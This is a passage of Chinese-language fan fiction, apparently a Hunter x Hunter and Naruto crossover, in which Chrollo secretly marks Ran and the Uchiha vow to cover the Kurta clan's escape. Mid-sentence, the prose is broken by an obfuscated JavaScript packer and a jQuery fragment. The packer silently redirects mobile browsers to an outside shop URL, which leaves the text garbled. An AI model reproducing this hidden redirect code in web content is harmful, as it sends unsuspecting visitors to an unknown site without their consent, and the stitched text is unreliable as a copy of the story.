不知有意还是无意,这个人站的位置,恰好封死了他在这间书店的全部后路。
“哦,那还真是不好意思,可能是因为你看得太投入了吧。”
库洛洛从容地认下了这句“叔叔”,放开搭在少年肩膀上的手,不是很有诚意地道了个歉。
哪怕他今年只有21岁。
岚没有心情去计较面前这个疑似幻影旅团头子的随意态度。
他惊惧的根源,不是那只突然搭上来的手,而是那只手落下的瞬间感受到的一种无机质气息。
这种气息不好描述,既不是杀意,也绝非善意。硬要形容的话,大概就是:
自己面前的这个人,根本没把自己当作一个“活着的、有价值的生命”来对待。
男人平静的眼底,是一种对生命毫不掩饰的漠视。
他在这个男人眼中,如同搁浅的鱼。可能下一秒被放归湖海,也有可能被吞吃入腹。
具体如何,全凭眼前男人的心情。
这种生杀予夺皆在他人一念之间的状况让岚本能地排斥和恐惧。
但二人之间横隔着的巨大实力差距让他没有表达不满的资格。
“没关系,我原谅你了!”
岚挂起一个非常标准的灿烂笑容,很考究地露出正正好八颗牙齿。
库洛洛并没有被他刻意的讨好所打动,漆黑的眼瞳里盛满了不知是何意味的思量。
岚指着简报上的标题,撇下嘴角,回答了他一开始的问题:“叔叔,你看这里。多可怕啊,怎么会有这样的事情!”
库洛洛的目光再度扫过岚手中的报纸。
“居然花两亿戒尼买巧克力球!”
岚愤恨地盯着那则巨大的吸睛标题,咬牙切齿地收紧了捏着简报的手指。
“哦,是很可怕。”
库洛洛收回目光,凉凉地附和了一句。
两人之间陷入了一丝短暂的沉默。
“叔叔来这里是想找什么书看呢?”岚若无其事地将简报放下,连同“幻影旅团”的字眼,一起倒扣在了报刊架子上。
“本来想找找民俗方面的书,不过现在用不上了。你呢?你喜欢看什么书?”
“我?”岚双手背到身后,用下巴指了指外面的Piko,“我不喜欢看书,我只是在这里等人,顺便看着货物而已。”
“是吗?”他顿了一下,似乎是在斟酌这个答案的真实性,“那还真是可惜。”
突然,库洛洛毫无征兆地抬手伸向岚的后脑。
岚本能地往后偏了偏,但只动了半寸就停下了动作。
库洛洛的指腹已经擦过了他耳尖的皮肤,而他甚至没有看清那只手是怎么过来的。
“你很怕我?”库洛洛将指尖夹着的Piko羽毛拿在岚眼前晃了晃。
“啊?”岚装傻。
“为什么躲?”
“诶呀,真的要我说原因吗?”岚干巴巴地笑了一下,“说出来可能有点伤人哦。”
“那我就更好奇了。”
库洛洛看了他一眼,不紧不慢的,像是在等他自己把谎话说圆。
“好吧。”岚往后小退了半步,缩起肩膀:“因为我有超级严重的洁癖,没办法接受陌生人碰我。”
“……”
“你看,我都说了会伤人。不是嫌你脏的意思哈,我对所有人都一视同仁。”
嘴上“一视同仁”的岚慢慢向后退着,手臂忽然被人从侧后方拽住。
酷拉皮卡不知什么时候已经走到了他身后,把他的胳膊往自己那边带了一下,顺势将他挡到了自己身后。
“发生什么事了?”酷拉皮卡虽然问的是岚,但眼睛看的却是库洛洛。
他注意到了书店门口的动静,也看到了岚身体微微后倾的防备姿态。
“没什么,只是闲聊了几句。”
库洛洛表现出一副像是被岚的理由伤到了的样子,垂下眸子。
“我还有事情,就不打扰你们了。”
他说这句话的时候,视线既没有落在岚脸上,也没有落在酷拉皮卡身上,而是落在岚刚被触碰过的耳朵上。
说完,就像赶时间一样,干脆利落地转身离开了书店。
酷拉皮卡目送着男人的身影彻底消失在书店外的拐角,这才转回头,皱着眉问:“他是不是对你做了什么?”
岚思索了片刻,摇了摇头。
“那为什么——”酷拉皮卡犹豫了一下,“我刚才看着他,总觉得很不舒服。”
“我没有事,别担心。”
岚嘴上说着,手却无意识地摸了一下自己的耳尖。
那里还残留着一片不痛不痒的凉意。
“只是你们的试炼要中断了。”
“因为刚刚的那个人?”酷拉皮卡恍然。
岚沉重地点头。
如果刚刚的男人就是幻影旅团的首领,那么他出现在这座偏远的小镇上,又特意跟自己接触的原因,显而易见。
岚不信这是巧合。
但岚并不敢断言他的判断就一定是对的,于是他找到了富岳。
富岳的万花筒写轮眼,可以短暂地窥见一线未来。
岚从富岳的脸色里得到了答案。
-
岚将幻影旅团图谋火红眼的事情告知了玛尔塔。
几人把购买的东西寄存在了山下熟悉的商铺里,轻装上阵,紧急地往窟卢塔族的聚居地而去。
掩盖行踪是忍者的必修课之一,除非男人有特殊的手段,不然岚不信他能在不被宇智波们察觉的前提下,跟着他们的路径寻到窟卢塔族。
但为了以防万一,进入森林以后,他们还是留了止水和稻火断后,其余人在富岳和岚的护送下继续前进。
回到窟卢塔族时,已经接近傍晚。
村落里家家户户正在准备晚饭,孩子们在外嬉闹。见到人从外面回来,马上好奇地围了上来,想要看看他们都带回了什么东西。
不过结果让他们颇为失落。
“怎么空着手回来了?”宇智波八代正好路过,伸长了脖子往富岳身后看,“稻火和止水呢?东西都放他们那了?”
富岳的脸色很难看:“八代,你去传信,让负责人清点好自己负责区域的人数,全部集中在后山空地上。然后带着我们全部的战力来前山长老的住处前集合。”
宇智波八代先是愣了一下,旋即明白过来,冷下脸,以最快的速度去传令了。
他们没有带回来任何族人们期待的东西,只带回了一则死亡预警。
-
宇智波和窟卢塔族的几个领头人都聚在了长老家。
岚向大家讲述了他的推测,但这并不足以说服窟卢塔族人完全相信这件事。
岚和富岳对视一眼。
万花筒可以窥见未来这一点,太过匪夷所思,知道的人越多,也越危险。
不是不信任窟卢塔族人,而是他们不敢低估外面的人心险恶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825126|211226||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
可如果窟卢塔族再不避祸,灭族的灾祸就会在一天后准时降临在这个本该宁静悠然的村落。
怎么办?交代万花筒的事情吗?
就算交代了,他们又怎么证明富岳眼中还未发生的未来是真的?
给他们看了,他们就一定会信吗?
事情一下子陷入僵局。
岚无意识地抓起自己的头发,思考能够解决问题的办法。
就在这时,酷拉皮卡打断了这沉重的气氛。
“岚,你耳后这是什么?”他伸出手拂开了岚耳后的头发,“以前就有吗?”
岚的头发过肩,平日里都是侧着抓成一个小小的辫子垂在一旁。
今日因为骑Piko赶路的缘故,原本能够露出耳朵的辫子松散开来,挡住了他耳后的皮肤。
岚伸手摸了摸耳后,没发现有什么异常。
富岳闻言扫了一眼,皱起眉:“岚,你有偷偷纹过身吗?”
“怎么可能,我最怕疼了。”岚反驳,随即像是意识到了什么,他从长老的房间里翻出了两面镜子,对着看了一眼。
一个月亮的印记凭空出现在了他耳后。
岚立刻开始脱衣服。
“喂,小鬼,发什么疯呢?”苏鲁挡住了一旁女人的眼睛。
岚把外衣和里衣一起褪到腰际,转了一圈。
“还有哪里?”
“你这什么变态嗜好。”苏鲁不是很给面子,“肩膀啊,你肩膀上还有个太阳。快点把衣服穿上,我们对你的身体没有兴趣。”
富岳冲岚点点头。
岚重新穿上了衣服,双手拄着长老面前的桌子,半个身子都探了过去:“我被旅团下了标记,再不跑就真的来不及了!”
那个男人碰他果然是有原因的!
他不知道这两个印记的真实作用,但并不妨碍他怀疑它们有能够追踪定位的用途。
“可是……”
“就算是假的!就算我们是在故意骗你们,”岚打断长老的话,“跑了难道会出现比灭族更差的结果吗!?大不了在外避几天再回来啊!”
“按照你们的说法,幻影旅团一天以后就会找过来。”长老叹息,“这么多老人幼童,一天的时间又能跑到哪里去?他们没有直接跟着你们回来,不正是断定我们没法跑远,也无力抵抗吗?”
岚的目光扫过长老身后神色紧张的库卢塔族人,突然意识到自己把事情想得太简单了。
他按照宇智波的情况,去设想了窟卢塔族的行动力。
宇智波一族全员皆兵,无论男女老少,都有意地进行过忍者训练。
一天的时间,足够全族撤离此地,并且能在沿途隐藏所有途径的痕迹。
可窟卢塔族不是。
他们只是一群向往和平、个性温顺的普通人。
“不,还有我们。”
富岳富岳接过话头,声音不高,但很沉稳:“宇智波全族,除老人、孩子、不善战斗者以外,八代?”
“共计132人。”八代斩钉截铁地回道。
富岳没有说话。
过了片刻,他才重新念了一遍这个数字。
“132人。”
再抬起头时,富岳的眼睛已经泛起了红光。
“皆做好了以死掩护你们离开的准备。”
岚瞪大眼,猛地回头。
他身后,一双双写轮眼正陆续亮起——
没有丝毫犹豫。